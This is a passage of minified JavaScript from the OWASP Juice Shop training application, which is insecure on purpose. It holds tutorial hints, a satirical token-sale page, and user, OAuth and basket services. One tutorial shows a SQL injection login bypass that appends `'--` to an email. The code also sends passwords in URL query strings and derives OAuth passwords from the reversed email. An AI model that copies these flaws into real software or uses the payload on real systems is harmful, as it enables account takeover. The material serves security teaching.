music!",fixture:".noResult",resolved:p(5e3)}]},Ot={name:"Login Bender",hints:[{text:"To start this challenge, you\'ll have to log out first.",fixture:"#navbarAccount",unskippable:!0,resolved:lt()},{text:"Let\'s try if we find a way to log in with Bender\'s user account. To begin, go to the _Login_ page via the _Account_ menu.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("login")},{text:"As you would expect you need to supply Bender\'s email address and password to log in regularly. But you might have neither at the moment.",fixture:"app-navbar",resolved:p(15e3)},{text:"If we had at least the email address, we could then try a **SQL Injection** (SQLi) attack to avoid having to supply a password.",fixture:"app-navbar",resolved:p(15e3)},{text:"So, let\'s go find out Bender\'s email! Luckily the shop is very bad with privacy and leaks emails in different places, for instance in the user feedback.",fixture:"app-navbar",resolved:p(15e3)},{text:"Go to the _About Us_ page where user feedback is displayed among other things.",fixture:"app-navbar",fixtureAfter:!0,resolved:x("about")},{text:"Once you found an entry by Bender in the feedback carousel leaking enough of his email to deduce the rest, go to the _Login_ screen.",fixture:"app-about",unskippable:!0,resolved:x("login")},{text:"Supply Bender\'s email address in the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","bender@juice-sh.op",{replacement:["juice-sh.op","application.domain"]})},{text:"Now put anything in the **password field**. Let\'s assume we don\'t know it yet, even if you happen to already do.",fixture:"#password",unskippable:!0,resolved:Z("#password","OhG0dPlease1nsertLiquor!")},{text:"Press the _Log in_ button.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"This didn\'t work, but did you honestly expect it to? We need to craft an SQLi attack first!",fixture:"#rememberMe",resolved:p(1e4)},{text:"You can comment out the entire password check clause of the DB query by adding `\'--` to Bender\'s email address!",fixture:"#email",unskippable:!0,resolved:b("#email","bender@juice-sh.op\'--",{replacement:["juice-sh.op","application.domain"]})},{text:"Now click the _Log in_ button again.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"\\u{1f389} Congratulations! You have been logged in as Bender!",fixture:"app-navbar",resolved:p(5e3)}]},Ut={name:null,hints:[{text:"\\u{1f613} Sorry, this hacking challenge does not have a step-by-step tutorial (yet) ... \\u{1f9ed} Can you find your own way to solve it?",fixture:"app-navbar",resolved:p(15e3)},{text:"\\u270d\\ufe0f Do you want to contribute a tutorial for this challenge? [Check out our documentation](https://pwning.owasp-juice.shop/part3/tutorials.html) to learn how! \\u{1f3eb}",fixture:"app-navbar",resolved:p(15e3)},{text:"And now: \\u{1f47e} **GLHF** with this challenge!",fixture:"app-navbar",resolved:p(1e4)}]},J=[R,_,Bt,kt,U,X,It,ct,W,Ot,{name:"Coding Challenges",hints:[{text:"To do the tutorial on _Coding Challenges_, you have to find and visit the _Score Board_ first. Once there, you have to click the tutorial button for the _Score Board_ challenge to proceed.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("score-board")},{text:"Many Juice Shop hacking challenges come with an associated _Coding Challenge_ which will teach you more about the underlying vulnerability on source code level.",fixture:"#Score\\\\ Board\\\\.solved",resolved:p(15e3)},{text:"You can launch a Coding Challenge via the `<>`-button. Click the one for the _Score Board_ challenge now.",fixture:"#codingChallengeTutorialButton",unskippable:!0,resolved:D("#Score\\\\ Board\\\\.codingChallengeButton")},{text:"All Coding Challenges take place in a modal dialog like this. They consist of two parts, one for finding and one for fixing the vulnerability in the code.",fixture:"#code-snippet",resolved:p(15e3)},{text:"The code snippet below shows a part of the actual application source code retrieved in real-time.",fixture:"#code-snippet",resolved:p(1e4)},{text:\'You will always get a snippet that is involved in the security vulnerability or flaw behind the corresponding hacking challenge. In this case, you see the routing code that exposes all dialogs, including the supposedly "well-hidden" Score Board.\',fixture:"#code-snippet",resolved:p(2e4)},{text:\'For the "Find It" part of this coding challenge, tick the \\u{1f532} on all lines of code that you think are responsible for exposing the Score Board. When done, click the _Submit_ button.\',fixture:"#code-snippet",fixtureAfter:!0,unskippable:!0,resolved:D("#line114")},{text:"That\'s the one! Click the _Submit_ button proceed.",fixture:"#code-snippet",fixtureAfter:!0,unskippable:!0,resolved:D("#findItSubmitButton")},{text:"\\u{1f38a}! You made it half-way through! In phase two you are now presented with several fix options. You must select the one which you think is the **best possible** fix for the security vulnerability.",fixture:"#code-snippet",resolved:p(1e4)},{text:\'This coding challenge is a bit "special", because the Score Board is crucial for progress tracking and acts as a hub for the other challenges. Keep that in mind when picking the _Correct Fix_ from the options _Fix 1_, _2_ and _3_.\',fixture:"#code-snippet",fixtureAfter:!0,unskippable:!0,resolved:D("#fixItSubmitButton")},{text:"If you did\'nt get the answer right, just try again until the \\u{1f38a}-cannon fires. Then click _Close_ to end the coding challenge and return to the Score Board.",fixture:"#code-snippet",fixtureAfter:!0,unskippable:!0,resolved:D("#fixItCloseButton")}]}];function h(y){const S=document.querySelector(y.fixture);if(!S)return null;const M=document.createElement("div");M.style.position="absolute";const E=document.createElement("div");E.id="hacking-instructor",E.style.position="absolute",E.style.zIndex="20000",E.style.backgroundColor="rgba(50, 115, 220, 0.9)",E.style.maxWidth="400px",E.style.minWidth=y.text.length>100?"350px":"250px",E.style.padding="16px",E.style.borderRadius="8px",E.style.whiteSpace="initial",E.style.lineHeight="1.3",E.style.top="24px",E.style.fontFamily="Roboto,Helvetica Neue,sans-serif",y.unskippable||(E.style.cursor="pointer",E.title="Double-click to skip"),E.style.fontSize="14px",E.style.display="flex",E.style.alignItems="center";const j=document.createElement("img");j.style.minWidth="64px",j.style.minHeight="64px",j.style.width="64px",j.style.height="64px",j.style.marginRight="8px",j.src="/assets/public/images/hackingInstructor.png";const et=document.createElement("span");et.style.flexGrow="2",et.innerHTML=(0,t.Z)(y.text);const G=document.createElement("button");G.id="cancelButton",G.style.textDecoration="none",G.style.backgroundColor="transparent",G.style.border="none",G.style.color="white",G.innerHTML=\'<div style;">×</div>\',G.style.fontSize="large",G.title="Cancel the tutorial",G.style.position="relative",G.style.zIndex="20001",G.style.bottom="-22px",G.style.cursor="pointer",E.appendChild(j),E.appendChild(et);const it=document.createElement("div");return it.style.position="relative",it.style.display="inline",it.appendChild(E),it.appendChild(G),M.appendChild(it),S.parentElement.insertBefore(M,y.fixtureAfter?S.nextSibling:S),M}function $(y){return d.apply(this,arguments)}function d(){return(d=(0,k.Z)(function*(y){return yield new Promise(S=>{y.addEventListener("dblclick",S)})})).apply(this,arguments)}function Rt(y){return _t.apply(this,arguments)}function _t(){return(_t=(0,k.Z)(function*(y){return yield new Promise(S=>{y.addEventListener("click",()=>{S("break")})})})).apply(this,arguments)}function Yt(y){return void 0!==J.find(({name:S})=>S===y)}function Jt(y){return ft.apply(this,arguments)}function ft(){return(ft=(0,k.Z)(function*(y){const S=J.find(({name:M})=>M===y)||Ut;for(const M of S.hints){const E=h(M);if(!E){console.warn(`Could not find Element with fixture "${M.fixture}"`);continue}E.scrollIntoView();const j=[M.resolved()];if(M.unskippable||j.push($(E)),j.push(Rt(document.getElementById("cancelButton"))),"break"===(yield Promise.race(j))){E.remove();break}E.remove()}})).apply(this,arguments)}},6645:(tt,K,c)=>{var k=c(1481),t=c(4650),w=c(5861),L=c(529),I=c(6201),s=c(4006),b=c(4550),O=c(5951),Z=c(5767),g=c(801),D=c(534),u=c(1195),p=c(4916),x=c(4859),T=c(3546);const lt=function(n){return{juicycoin:n}};O.vI.add(Z.IxA,g.bhf,g.Xf_,g.Egd,g.lXL,D.Eg,D.lX);let gt=(()=>{class n{constructor(e){this.configurationService=e,this.altcoinName="Juicycoin"}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.altcoinName&&(this.altcoinName=e.application.altcoinName)},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-token-sale"]],decls:117,vars:26,consts:[["fxLayout","row","fxLayout.lt-md","column","fxLayoutGap","20px",1,"container"],["fxFlexAlign","center",1,"whitepaper-container","offer-container"],[3,"innerHtml"],[1,"divider"],[1,"mat-elevation-z6"],[2,"margin-left","10px"],["translate",""],[1,"whitepaper-buttons"],["href","https://ponzico.win/ponzico.pdf","target","_blank","rel","noopener noreferrer"],["mat-raised-button","","color","accent"],[1,"fas","fa-university","fa-lg"],["href","https://www.sec.gov/investor/alerts/ia_virtualcurrencies.pdf","target","_blank","rel","noopener noreferrer"],[1,"fas","fa-graduation-cap","fa-lg"],[1,"offer-box"],[1,"text-justify"],[1,"fab","fa-bitcoin"],[1,"badge"],["fxFlexAlign.lt-md","center",1,"faq-container"],["translate","",1,"title"],[1,"fas","fa-comments","fa-2x"],[1,"far","fa-comment-alt","fa-2x"],[1,"far","fa-comments","fa-2x"],[1,"fas","fa-comment-alt","fa-2x"],[2,"margin-left","10px",3,"innerHtml"],["translate","",1,"text-justify"],["src","assets/public/images/padding/56px.png"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card")(1,"div",0)(2,"div",1)(3,"mat-card-header")(4,"mat-card-title"),t._uU(5),t.ALo(6,"translate"),t.qZA(),t._UZ(7,"mat-card-subtitle",2),t.ALo(8,"translate"),t.qZA(),t._UZ(9,"div",3),t.TgZ(10,"mat-card",4)(11,"h4"),t._uU(12),t.ALo(13,"translate"),t.TgZ(14,"small",5),t._uU(15,"("),t.TgZ(16,"span",6),t._uU(17,"WHITEPAPER_REFERENCES"),t.qZA(),t._uU(18,")"),t.qZA()(),t.TgZ(19,"div",7)(20,"a",8)(21,"button",9),t._UZ(22,"i",10),t._uU(23," PonzICO Whitepaper"),t.qZA()(),t.TgZ(24,"a",11)(25,"button",9),t._UZ(26,"i",12),t._uU(27," PonziCoin Whitepaper"),t.qZA()()()(),t.TgZ(28,"div",13)(29,"h3",6),t._uU(30,"SECTION_SALES_PITCH"),t.qZA(),t.TgZ(31,"p",14),t._uU(32," Lorem ipsum dolor sit amet "),t.TgZ(33,"strong"),t._UZ(34,"i",15),t._uU(35),t.qZA(),t._uU(36,", consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. "),t.TgZ(37,"span",6),t._uU(38,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(39," Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. "),t.TgZ(40,"span",6),t._uU(41,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(42," Ut wisi enim ad minim veniam, quis "),t.TgZ(43,"strong"),t._UZ(44,"i",15),t._uU(45),t.qZA(),t._uU(46," nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. "),t.TgZ(47,"span",6),t._uU(48,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(49," Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. "),t.TgZ(50,"span",6),t._uU(51,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(52," Duis autem vel eum "),t.TgZ(53,"strong"),t._UZ(54,"i",15),t._uU(55),t.qZA(),t._uU(56," iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. "),t.TgZ(57,"span",6),t._uU(58,"GIVE_US_ALL_YOUR_MONEY"),t.qZA(),t._uU(59," At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. "),t.TgZ(60,"span",16),t._UZ(61,"i",15),t._uU(62),t.qZA(),t._uU(63," est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur. "),t.qZA()()(),t.TgZ(64,"div",17)(65,"mat-card-header")(66,"mat-card-title",18),t._uU(67,"ICO_FAQ"),t.qZA()(),t._UZ(68,"div",3),t.TgZ(69,"mat-card",4)(70,"h5"),t._UZ(71,"i",19),t._uU(72," Stet "),t.TgZ(73,"strong"),t._UZ(74,"i",15),t._uU(75),t.qZA(),t._uU(76," clita kasd gubergren?"),t.qZA(),t.TgZ(77,"small",14),t._uU(78," Stet clita kasd gubergren, no "),t.TgZ(79,"strong"),t._UZ(80,"i",15),t._uU(81),t.qZA(),t._uU(82," sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. "),t.qZA()(),t.TgZ(83,"mat-card",4)(84,"h5"),t._UZ(85,"i",20),t._uU(86," Consetetur sadipscing elitr?"),t.qZA(),t.TgZ(87,"small",14),t._uU(88," Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed "),t.TgZ(89,"strong"),t._UZ(90,"i",15),t._uU(91),t.qZA(),t._uU(92," diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. "),t.qZA()(),t.TgZ(93,"mat-card",4)(94,"h5"),t._UZ(95,"i",21),t._uU(96," Hendrerit "),t.TgZ(97,"strong"),t._UZ(98,"i",15),t._uU(99),t.qZA(),t._uU(100," in vulputate velit?"),t.qZA(),t.TgZ(101,"small",14),t._uU(102," Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. "),t.qZA()(),t.TgZ(103,"mat-card",4)(104,"h5"),t._UZ(105,"i",22),t._uU(106," Justo duo dolores et ea rebum?"),t.qZA(),t.TgZ(107,"small",14),t._uU(108," At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. "),t.qZA()(),t.TgZ(109,"mat-card",4)(110,"h5"),t._UZ(111,"i",19)(112,"span",23),t.ALo(113,"translate"),t.qZA(),t.TgZ(114,"small",24),t._uU(115,"ICO_FAQ_ANSWER"),t.qZA()()(),t._UZ(116,"img",25),t.qZA()()),2&e&&(t.xp6(5),t.hij(" ",t.lcZ(6,12,"TITLE_TOKENSALE")," "),t.xp6(2),t.Q6J("innerHtml",t.xi3(8,14,"SECTION_ICO",t.VKq(22,lt,o.altcoinName)),t.oJD),t.xp6(5),t.hij("",t.lcZ(13,17,"SECTION_WHITEPAPER")," "),t.xp6(23),t.hij(" ",o.altcoinName,""),t.xp6(10),t.hij(" ",o.altcoinName,""),t.xp6(10),t.hij(" ",o.altcoinName,""),t.xp6(7),t.hij(" ",o.altcoinName,""),t.xp6(13),t.hij(" ",o.altcoinName,""),t.xp6(6),t.hij(" ",o.altcoinName,""),t.xp6(10),t.hij(" ",o.altcoinName,""),t.xp6(8),t.hij(" ",o.altcoinName,""),t.xp6(13),t.Q6J("innerHtml",t.xi3(113,19,"ICO_FAQ_QUESTION",t.VKq(24,lt,o.altcoinName)),t.oJD))},dependencies:[u.Pi,p.xw,p.SQ,p.XD,x.lW,T.a8,T.dk,T.n5,T.$j,u.X$],styles:[".container[_ngcontent-%COMP%]{justify-content:center}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.13);justify-content:center;margin-bottom:10px;padding:12px 20px}.whitepaper-container.offer-container[_ngcontent-%COMP%]{max-width:700px;min-width:300px;width:70%}.whitepaper-buttons[_ngcontent-%COMP%]{display:flex;flex-direction:row;flex-wrap:wrap;gap:8px}.faq-container[_ngcontent-%COMP%]{max-width:500px;min-width:200px;width:70%}a[_ngcontent-%COMP%]:nth-child(1){padding-right:10px}.title[_ngcontent-%COMP%]{padding-bottom:27px}.divider[_ngcontent-%COMP%]{border:.5px solid #f2f2f2;margin-bottom:10px}.text-justify[_ngcontent-%COMP%]{text-align:justify}mat-card[_ngcontent-%COMP%]{margin-bottom:10px}mat-card[_ngcontent-%COMP%]:nth-child(1){border-radius:5px;margin:0 auto;width:80%}"]}),n})();var P=c(2340),C=c(4850),_=c(7221),kt=c(8929);let R=(()=>{class n{constructor(e){this.http=e,this.isLoggedIn=new kt.xQ,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Users"}find(e){return this.http.get(this.hostServer+"/rest/user/authentication-details/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}get(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}login(e){return this.isLoggedIn.next(!0),this.http.post(this.hostServer+"/rest/user/login",e).pipe((0,C.U)(o=>o.authentication),(0,_.K)(o=>{throw o}))}getLoggedInState(){return this.isLoggedIn.asObservable()}changePassword(e){return this.http.get(this.hostServer+"/rest/user/change-password?current="+e.current+"&new="+e.new+"&repeat="+e.repeat).pipe((0,C.U)(o=>o.user),(0,_.K)(o=>{throw o.error}))}resetPassword(e){return this.http.post(this.hostServer+"/rest/user/reset-password",e).pipe((0,C.U)(o=>o.user),(0,_.K)(o=>{throw o}))}whoAmI(){return this.http.get(this.hostServer+"/rest/user/whoami").pipe((0,C.U)(e=>e.user),(0,_.K)(e=>{throw e}))}oauthLogin(e){return this.http.get("https://www.googleapis.com/oauth2/v1/userinfo?alt=json&access_token="+e)}saveLastLoginIp(){return this.http.get(this.hostServer+"/rest/saveLoginIp").pipe((0,C.U)(e=>e),(0,_.K)(e=>{throw e}))}deluxeStatus(){return this.http.get(this.hostServer+"/rest/deluxe-membership").pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}upgradeToDeluxe(e,o){return this.http.post(this.hostServer+"/rest/deluxe-membership",{paymentMode:e,paymentId:o}).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var U=c(6630);let Bt=(()=>{class n{constructor(e,o,i,r,l){this.cookieService=e,this.userService=o,this.router=i,this.route=r,this.ngZone=l}ngOnInit(){var e=this;this.userService.oauthLogin(this.parseRedirectUrlParams().access_token).subscribe(o=>{const i=btoa(o.email.split("").reverse().join(""));this.userService.save({email:o.email,password:i,passwordRepeat:i}).subscribe(()=>{this.login(o)},()=>{this.login(o)})},o=>{this.invalidateSession(o),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/login"])}))})}login(e){var o=this;this.userService.login({email:e.email,password:btoa(e.email.split("").reverse().join("")),oauth:!0}).subscribe(i=>{const r=new Date;r.setHours(r.getHours()+8),this.cookieService.put("token",i.token,{expires:r}),localStorage.setItem("token",i.token),sessionStorage.setItem("bid",i.bid),this.userService.isLoggedIn.next(!0),this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["/"])}))},i=>{this.invalidateSession(i),this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["/login"])}))})}invalidateSession(e){console.log(e),this.cookieService.remove("token"),localStorage.removeItem("token"),sessionStorage.removeItem("bid")}parseRedirectUrlParams(){const o=this.route.snapshot.data.params.substr(1).split("&"),i={};for(let r=0;r<o.length;r++){const l=o[r].split("=");i[l[0]]=l[1]}return i}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(I.N_),t.Y36(R),t.Y36(U.F0),t.Y36(U.gz),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-oauth"]],decls:9,vars:6,consts:[["fxLayoutAlign","center"],[1,"primary-notification"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"div")(3,"h3"),t._uU(4),t.ALo(5,"translate"),t.qZA(),t.TgZ(6,"div"),t._uU(7),t.ALo(8,"translate"),t.qZA()()()()),2&e&&(t.xp6(4),t.Oqu(t.lcZ(5,2,"TITLE_LOGIN")),t.xp6(3),t.Oqu(t.lcZ(8,4,"CONFIRM_LOGGED_IN_VIA_OAUTH2")))},dependencies:[p.Wh,T.a8,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:300px;width:35%}"]}),n})(),X=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.itemTotal=new kt.xQ,this.host=this.hostServer+"/api/BasketItems"}find(e){return this.http.get(`${this.hostServer}/rest/basket/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}get(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}put(e,o){return this.http.put(`${this.host}/${e}`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}del(e){return this.http.delete(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}checkout(e,o,i){return this.http.post(`${this.hostServer}/rest/basket/${e}/checkout`,{couponData:o,orderDetails:i}).pipe((0,C.U)(r=>r.orderConfirmation),(0,_.K)(r=>{throw r}))}applyCoupon(e,o){return this.http.put(`${this.hostServer}/rest/basket/${e}/coupon/${o}`,{}).pipe((0,C.U)(i=>i.discount),(0,_.K)(i=>{throw i}))}updateNumberOfCartItems(){this.find(parseInt(sessionStorage.getItem("bid"),10)).subscribe(e=>{this.itemTotal.next(e.Products.reduce((o,i)=>o+i.BasketItem.quantity,0))},e=>{console.log(e)})}getItemTotal(){return this.itemTotal.asObservable()}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var It=c(491);let W=(()=>{class n{constructor(e,o){this.router=e,this.ngZone=o}canActivate(){return!!localStorage.getItem("token")||(this.forbidRoute("UNAUTHORIZED_ACCESS_ERROR"),!1)}forbidRoute(e="UNAUTHORIZED_PAGE_ACCESS_ERROR"){var o=this;this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["403"],{skipLocationChange:!0,queryParams:{error:e}})}))}tokenDecode(){let e=null;const o=localStorage.getItem("token");if(o)try{e=It(o)}catch(i){console.log(i)}return e}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(U.F0),t.LFG(t.R0b))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})(),Ot=(()=>{class n{constructor(e){this.loginGuard=e}canActivate(){const e=this.loginGuard.tokenDecode();return!(!e?.data||"admin"!==e.data.role)||(this.loginGuard.forbidRoute(),!1)}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(W))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})(),Ut=(()=>{class n{constructor(e){this.loginGuard=e}canActivate(){const e=this.loginGuard.tokenDecode();return!(!e?.data||"accounting"!==e.data.role)||(this.loginGuard.forbidRoute(),!1)}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(W))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})(),ht=(()=>{class n{constructor(e){this.loginGuard=e}isDeluxe(){const e=this.loginGuard.tokenDecode();return e?.data&&"deluxe"===e.data.role}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(W))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac}),n})();var J=c(5004),h=c(6895),$=c(1600),d=c(671);function Rt(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function _t(n,a){if(1&n&&(t.TgZ(0,"mat-cell",20),t._UZ(1,"img",21),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.s9C("alt",e.name),t.Q6J("src","assets/public/images/products/"+e.image,t.LSH)}}function Yt(n,a){1&n&&t._UZ(0,"mat-footer-cell",20)}function Jt(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function ft(n,a){if(1&n&&(t.TgZ(0,"mat-cell",22),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.name," ")}}function y(n,a){1&n&&t._UZ(0,"mat-footer-cell",23)}function S(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function M(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",27),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw();return t.KtG(r.dec(i.BasketItem.id))}),t._UZ(1,"i",28),t.qZA()}}function E(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",27),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw();return t.KtG(r.inc(i.BasketItem.id))}),t._UZ(1,"i",29),t.qZA()}}function j(n,a){if(1&n&&(t.TgZ(0,"mat-cell",24),t.YNc(1,M,2,0,"button",25),t.TgZ(2,"span",26),t._uU(3),t.qZA(),t.YNc(4,E,2,0,"button",25),t.qZA()),2&n){const e=a.$implicit,o=t.oxw();t.xp6(1),t.Q6J("ngIf",o.allowEdit),t.xp6(2),t.hij(" ",e.BasketItem.quantity,""),t.xp6(1),t.Q6J("ngIf",o.allowEdit)}}function et(n,a){1&n&&(t.TgZ(0,"mat-footer-cell",30),t._uU(1,"TOTAL"),t.qZA())}function G(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function it(n,a){if(1&n&&(t.TgZ(0,"mat-cell",31),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.price,"\\xa4")}}function an(n,a){1&n&&t._UZ(0,"mat-footer-cell",32)}function rn(n,a){1&n&&t._UZ(0,"mat-header-cell",19)}function sn(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",36)(1,"button",27),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.delete(r.BasketItem.id))}),t._UZ(2,"i",37),t.qZA()()}}function ln(n,a){1&n&&t._UZ(0,"mat-footer-cell",36)}function cn(n,a){1&n&&(t.ynx(0,33),t.YNc(1,rn,1,0,"mat-header-cell",2),t.YNc(2,sn,3,0,"mat-cell",34),t.YNc(3,ln,1,0,"mat-footer-cell",35),t.BQk())}function un(n,a){1&n&&t._UZ(0,"mat-header-row")}function pn(n,a){1&n&&t._UZ(0,"mat-row")}function dn(n,a){1&n&&t._UZ(0,"mat-footer-row",39)}function mn(n,a){if(1&n&&(t.TgZ(0,"span"),t.YNc(1,dn,1,0,"mat-footer-row",38),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("matFooterRowDef",e.tableColumns)}}function gn(n,a){if(1&n&&(t.TgZ(0,"div",40),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.AsE("",t.lcZ(2,2,"LABEL_TOTAL_PRICE"),": ",e.itemTotal,"\\xa4")}}O.vI.add(D.I7,g.El_,g.CPW);let _e=(()=>{class n{constructor(e,o,i,r){this.deluxeGuard=e,this.basketService=o,this.userService=i,this.snackBarHelperService=r,this.allowEdit=!1,this.displayTotal=!1,this.totalPrice=!0,this.emitTotal=new t.vpe,this.emitProductCount=new t.vpe,this.tableColumns=["image","product","quantity","price"],this.dataSource=[],this.bonus=0,this.itemTotal=0}ngOnInit(){this.allowEdit&&!this.tableColumns.includes("remove")&&this.tableColumns.push("remove"),this.load(),this.userService.whoAmI().subscribe(e=>{this.userEmail=e.email||"anonymous",this.userEmail="("+this.userEmail+")"},e=>{console.log(e)})}load(){this.basketService.find(parseInt(sessionStorage.getItem("bid"),10)).subscribe(e=>{this.isDeluxe()&&e.Products.forEach(o=>{o.price=o.deluxePrice}),this.dataSource=e.Products,this.itemTotal=e.Products.reduce((o,i)=>o+i.price*i.BasketItem.quantity,0),this.bonus=e.Products.reduce((o,i)=>o+Math.round(i.price/10)*i.BasketItem.quantity,0),this.sendToParent(this.dataSource.length)},e=>{console.log(e)})}delete(e){this.basketService.del(e).subscribe(()=>{this.load(),this.basketService.updateNumberOfCartItems()},o=>{console.log(o)})}inc(e){this.addToQuantity(e,1)}dec(e){this.addToQuantity(e,-1)}addToQuantity(e,o){this.basketService.get(e).subscribe(i=>{const 